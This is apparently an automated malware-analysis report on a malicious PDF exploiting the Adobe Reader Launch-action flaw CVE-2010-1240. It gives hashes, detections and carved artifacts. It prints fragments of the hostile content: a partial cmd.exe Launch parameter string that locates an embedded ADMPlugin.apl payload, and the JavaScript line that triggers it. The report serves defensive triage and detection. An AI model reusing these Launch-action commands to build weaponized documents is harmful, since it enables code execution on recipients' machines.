Malicious PDF — malware analysis report

Static analysis result for SHA-256 bd03aef6555fc87b…

MALICIOUS

PDF

216.9 KB Created: 2009-09-26 07:34:11 +02:00 Authoring application: Writer (via OpenOffice.org 3.0) First seen: 2026-05-11
MD5: c091ba1ea71b84e32b4ebd23353526ac SHA-1: f678e5e6d1b075cf447724e2f021a832c1e55949 SHA-256: bd03aef6555fc87b9faae5b8974281101fc958fe7058a91a81dedabc8921833d
260 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF file contains a critical vulnerability (CVE-2010-1240) that allows for the execution of embedded content via a launch action. The embedded JavaScript object 'javascript_obj0110_000.js' contains a call to 'this.t({ cName: "ADMPlugin", nLaunch: 0 });', which likely triggers the execution of the embedded ADMPlugin.apl file. This indicates a malicious document designed to exploit a known vulnerability for initial execution.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9985

Heuristics 7

  • Adobe Reader Launch action command execution critical CVE likely CVE_2010_1240
    PDF uses the Adobe Reader/Acrobat Launch action pattern associated with CVE-2010-1240: a /Launch /Win command carries shell parameters that locate/start an embedded payload, and JavaScript passes nLaunch:0 for attachment export/opening.
  • ClamAV: Pdf.Tool.Agent-1388586 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Tool.Agent-1388586
  • Launch action high PDF_LAUNCH
    PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
  • /Launch action target: high PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/Q /C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "%USERPROFILE%\\����\\ADMPlugin.apl" (cd/D "%USERPROFILE%\\����"'.
  • PDF embedded file could not be fully decoded medium PDF_EMBEDDED_FILE_UNDECODED
    A declared PDF /EmbeddedFile stream uses filters that the scanner could not decode. The raw stream was carved for artifact triage because malformed or unsupported attachment filters can hide payload content from normal extraction.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://dejavu.sourceforge.netFonts In extracted file (font_00_sfnt_off00014e11.bin)
    • http://www.monotype.comhttp://www.monotype.com/html/type/license.htmlIn extracted file (font_01_sfnt_off00018873.bin)
    • http://www.ascendercorp.com/http://www.ascendercorp.com/typedesigners.htmlUseIn extracted file (font_03_sfnt_off00023149.bin)
    • http://www.ascendercorp.com/liberation.htmlIn extracted file (font_03_sfnt_off00023149.bin)
    • http://dejavu.sourceforge.net/wiki/index.php/LicenseIn extracted file (font_00_sfnt_off00014e11.bin)
    • http://www.monotype.com/html/mtname/ms_couriernew.htmlhttp://www.monotype.com/html/mtname/ms_welcome.htmlNOTIFICATIONIn extracted file (font_01_sfnt_off00018873.bin)

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 12

Files carved from inside the sample during analysis.

FilenameKindSourceSize
ADMPlugin.apl pdf-embedded-file-undecodable PDF EmbeddedFile object 109 at offset 0x35BFD; filter decode failed 479 bytes
SHA-256: 5f652b4721b3d1b90ddd52861e916b227a7afb13f2058f5e5820f0de19b6d7cc
javascript_obj0110_000.js pdf-javascript-stream PDF /JS object 110 at offset 0x35DEF 58 bytes
SHA-256: 0fedc506516bc0750b9540d66ff6d1bbd092eaaa9476e8e79aeda20b80c4f9aa
Preview script
First 1,000 lines of the extracted script
this.               t({ cName: "ADMPlugin", nLaunch: 0 });
font_00_sfnt_off00014e11.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x14E11 22612 bytes
SHA-256: 36dfa1c87891f2f09b71980d1399f018c5caad03d1b1d29508739979b9ed4001
font_01_sfnt_off00018873.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x18873 39760 bytes
SHA-256: f027842567b04c926ad746e8dfdc4f8cdd2e3c7e0220264a22bb516569de8c36
font_02_sfnt_off0001e18a.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x1E18A 33672 bytes
SHA-256: da753cc0b5163c9b6666572dbeb35b7b5caf4a56d9c22c99c36835925c000a71
font_03_sfnt_off00023149.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x23149 12752 bytes
SHA-256: 23ac8feb518c8c727acc6a954bb623e333337c9458521aed483fcc8d89f418c1
font_04_sfnt_off0002558e.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x2558E 13136 bytes
SHA-256: c8fd7189737c38a43b9ba034337799f502028b5db5a6037bd1df4c486f3233e0
font_05_sfnt_off00027bf4.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x27BF4 27096 bytes
SHA-256: cf699c117fd0bb7368c625645b874f03c477a382b67075e98dd54d87de53958b
font_06_sfnt_off0002ca67.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x2CA67 13700 bytes
SHA-256: 34829650519fe758a893e02057f5c7c1070378add027225386180ba60993be24
font_07_sfnt_off0002f2cf.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x2F2CF 14892 bytes
SHA-256: bf36ecd37d117b665b1c68abb1c41fbb1a9d46c2c583bdb8512681835e553b91
font_08_sfnt_off00031db2.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x31DB2 13576 bytes
SHA-256: 37478039963094b7b89fb24df19adb1f5ee171f766ade680ac5516bb23ede59f
font_09_sfnt_off00033c21.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x33C21 1780 bytes
SHA-256: df903f2017d43426972294ce96b065da76255f4a0de84e466c7a4dd6181632c2

Open this report in the interactive analyzer, or submit your own file for analysis.